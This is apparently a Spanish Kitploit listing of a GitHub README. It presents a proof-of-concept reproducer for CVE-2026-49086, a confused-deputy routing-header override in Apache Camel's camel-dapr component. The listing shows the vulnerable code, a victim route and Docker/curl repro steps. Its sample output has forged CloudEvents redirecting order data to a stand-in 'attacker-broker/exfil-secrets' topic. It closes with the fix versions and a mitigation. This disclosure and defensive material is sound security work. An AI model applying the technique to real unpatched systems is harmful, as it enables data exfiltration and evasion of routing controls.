Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49086 — Reproductor de PoC para CVE-2026-49086 que demuestra una anulación del encabezado de enrutamiento por confused deputy en Apache Camel camel-dapr, lo que permite la redirección de mensajes y la exfiltración de datos mediante campos CloudEvent no confiables. | Kitploit
Herramientas/GitHubGitHub/oscerd/cve-2026-49086
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHuboscerd/cve-2026-49086

CVE-2026-49086

Reproductor de PoC para CVE-2026-49086 que demuestra una anulación del encabezado de enrutamiento por confused deputy en Apache Camel camel-dapr, lo que permite la redirección de mensajes y la exfiltración de datos mediante campos CloudEvent no confiables.

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de Anulación de Encabezado de Enrutamiento / Confused Deputy en camel-dapr (CVE-2026-49086)

Este proyecto demuestra una falla de anulación de encabezado de enrutamiento (confused-deputy) en el componente camel-dapr de Apache Camel, registrada como CVE-2026-49086.

El consumidor pub/sub de Dapr (DaprPubSubConsumer) copia los campos del CloudEvent entrante (no confiable) a los encabezados de mensaje de Exchange. Dos de ellos — pubsubName y topic — son encabezados de enrutamiento en dirección del productor (CamelDaprPubSubName / CamelDaprTopic). Cuando la misma ruta publica posteriormente con un productor dapr:pubSub, DaprConfigurationOptionsProxy prefiere el valor del encabezado sobre el valor configurado en el endpoint. Así, el sobre entrante, que un remitente de mensajes no confiable controla, anula silenciosamente el destino al que la ruta vuelve a publicar:

root@kitploit:~
// DaprPubSubConsumer.createServiceBusExchange (afectado 4.18.2) — sobre no confiable -> encabezados de enrutamiento
message.setHeader(DaprConstants.PUBSUB_NAME, cloudEvent.getPubsubName());   // CamelDaprPubSubName
message.setHeader(DaprConstants.TOPIC,       cloudEvent.getTopic());        // CamelDaprTopic

// DaprConfigurationOptionsProxy.getOption (afectado 4.18.2) — el encabezado GANA sobre la configuración del endpoint
return ObjectHelper.isEmpty(exchange) || ObjectHelper.isEmpty(exchangeFn.apply(exchange))
        ? fallbackFn.get()            // configuración del endpoint (p. ej. audit-broker/audit-log)
        : exchangeFn.apply(exchange); // el encabezado copiado del CloudEvent entrante

En una ruta que consume de un topic y vuelve a publicar a otro (un patrón común de auditoría/reenvío/fan-out), un actor que pueda publicar en el topic suscrito establece el pubsubName/topic del CloudEvent y redirige el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario — exfiltrando la carga útil a un broker accesible por el atacante, o evadiendo el enrutamiento/ACLs previstos. Esto es un confused-deputy: la aplicación vuelve a publicar con sus propias credenciales de Dapr a un destino elegido por el atacante.

Este PoC demuestra el impacto como redirección de mensajes / exfiltración de datos (CWE-441, derivada de CWE-20).

Aviso: https://camel.apache.org/security/CVE-2026-49086.html

Resumen de la vulnerabilidad

La corrección impide que el consumidor establezca los dos encabezados de enrutamiento (CamelDaprPubSubName / CamelDaprTopic); los demás encabezados de metadatos del CloudEvent no cambian. Así, el productor usa siempre el pub/sub + topic configurado en el endpoint. (También se añadió DaprHeaderFilterStrategy para la coherencia del catálogo, pero el cambio del encabezado de enrutamiento es la corrección efectiva.)

Por qué no se necesita un sidecar de Dapr

La vulnerabilidad está enteramente en Camel — el consumidor copia CloudEvent.pubsubName/topic a los encabezados de enrutamiento, y el productor prefiere dichos encabezados. El sidecar de Dapr es solo transporte. Este reproductor inyecta clientes simulados del SDK de Dapr (client=#mockClient, previewClient=#mockPreview) para que los reales DaprPubSubConsumer y DaprPubSubHandler se ejecuten sin cambios y sin sidecar: el cliente preview simulado captura el listener de suscripción, y el cliente simulado registra el destino de publicación. El controlador atacante entrega entonces un CloudEvent forjado al listener capturado — exactamente lo que dispararía un remitente capaz de publicar en el topic suscrito.

La ruta víctima

root@kitploit:~
from("dapr:pubSub?pubSubName=orders-broker&topic=orders&previewClient=#mockPreview&client=#mockClient")
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log&client=#mockClient&previewClient=#mockPreview");

El autor pretende que cada pedido se replique al destino fijo audit-broker/audit-log. Pero como el consumidor copia el pubsubName/topic del sobre entrante a los encabezados de enrutamiento, el productor de auditoría publica en lo que indique el sobre — nunca en el flujo de auditoría configurado.

Estructura del repositorio

Todo se ejecuta en un único contenedor autocontenido.

root@kitploit:~
CVE-2026-49086/
├── pom.xml                 # camel-dapr 4.18.2 (dapr-sdk 1.16.1 transitivo) + spring-boot-web
├── Dockerfile
├── docker-compose.yml      # único servicio autocontenido
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── DaprMockConfig.java       # mock DaprClient + DaprPreviewClient (proxies dinámicos; sin sidecar)
    │   ├── PublishRecorder.java      # registra dónde publicó realmente el productor
    │   ├── SubscriptionRegistry.java # captura el listener de suscripción del consumidor
    │   ├── VictimRoutes.java         # suscripción dapr:pubSub -> publicación dapr:pubSub (auditoría)
    │   └── ExploitController.java    # atacante: entrega CloudEvents forjados; compara el destino de publicación
    └── resources/
        └── application.properties

Prerrequisitos

  • Docker y Docker Compose
  • Java 17+ y Maven 3.8+

Pasos de reproducción

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Salida esperada

root@kitploit:~
=== CVE-2026-49086 — camel-dapr: anulación de encabezado de enrutamiento del consumidor (confused deputy) ===

Intención de la ruta: replicar cada pedido a un flujo de auditoría FIJO
    .to("dapr:pubSub?pubSubName=audit-broker&topic=audit-log")

1) Evento de pedido ordinario (sobre pubsub=orders-broker topic=orders)
     copia de auditoría realmente publicada en: orders-broker / orders
     -> ya NO es el audit-broker/audit-log configurado: los campos de enrutamiento del sobre se filtraron al productor.

2) Evento de pedido malicioso (sobre forjado: pubsub=attacker-broker topic=exfil-secrets)
     copia de auditoría realmente publicada en: attacker-broker / exfil-secrets
     datos de pedido filtrados: {"orderId":"A-1002","card":"4111-2222-3333-4444"}

>>> DEMOSTRADO: el pubsubName/topic del CloudEvent entrante anuló el destino de auditoría
>>> codificado en la ruta, por lo que un atacante que pueda publicar en 'orders' redirige la copia del pedido a
>>> un componente + topic de pub/sub arbitrario (exfiltración de datos / evasión de enrutamiento): true

Corrección recomendada

Actualice a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23630). Tras la corrección, el consumidor ya no establece CamelDaprPubSubName / CamelDaprTopic, por lo que un productor dapr:pubSub situado aguas abajo de un consumidor dapr:pubSub usa el componente y topic de pub/sub configurados en su endpoint.

Mitigación

Hasta actualizar, elimine los encabezados de enrutamiento entre el consumidor y cualquier productor dapr:pubSub de la ruta (por ejemplo removeHeaders("CamelDaprPubSubName,CamelDaprTopic")), y establezca el pub/sub + topic de republicación desde una fuente confiable.

Aviso legal

Este reproductor se proporciona únicamente para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No lo use contra sistemas sin permiso explícito.

Descargar herramienta
PropiedadValor
Componentecamel-dapr
Clase afectadaorg.apache.camel.component.dapr.consumer.DaprPubSubConsumer (establece los encabezados PUBSUB_NAME/TOPIC a partir del CloudEvent entrante)
CWECWE-20 (Validación de entrada incorrecta) / CWE-441 (Proxy no intencionado / Confused Deputy)
ImpactoRedirigir el mensaje republicado a un componente + topic de Dapr pub/sub arbitrario (exfiltración / evasión de enrutamiento y ACLs)
PrecondicionesUna ruta consume de un topic dapr:pubSub y vuelve a publicar mediante un productor dapr:pubSub; el atacante puede publicar en el topic suscrito
Versiones afectadas4.12.0 hasta 4.14.7, 4.15.0–4.18.2, 4.19.0–4.20.x
Versiones corregidas4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23630 (PR apache/camel#23886)
CréditoLeon Zlobecki